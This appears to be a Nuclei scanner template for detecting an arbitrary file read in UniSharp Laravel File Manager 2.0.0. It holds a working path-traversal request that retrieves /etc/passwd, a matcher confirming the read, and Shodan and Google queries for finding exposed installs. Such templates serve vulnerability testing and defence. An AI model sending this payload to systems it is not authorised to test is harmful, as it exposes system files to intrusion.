id: laravel-filemanager-lfi

info:
  name: UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read
  author: hackerarpan
  severity: high
  description: UniSharp Larevel File Manager 2.0.0 is vulnerable to arbitrary file read.
  reference:
    - https://www.exploit-db.com/exploits/48166
    - https://github.com/UniSharp/laravel-filemanager
  metadata:
    max-request: 1
    shodan-query: http.html:"Laravel FileManager"
    google-query: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io
  tags: lfr,edb,lfi,unisharp,laravel,filemanager,fileupload,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type=&file=passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220292d92562d96b4388b3940efca63049b3147c76f099df66aa8195445b1e8684d0220627eae69efcdc8828c8dec4b71a76c48ebe654eca1ed56efc5744456cc2664dc:922c64590222798bb761d5b6d8e72950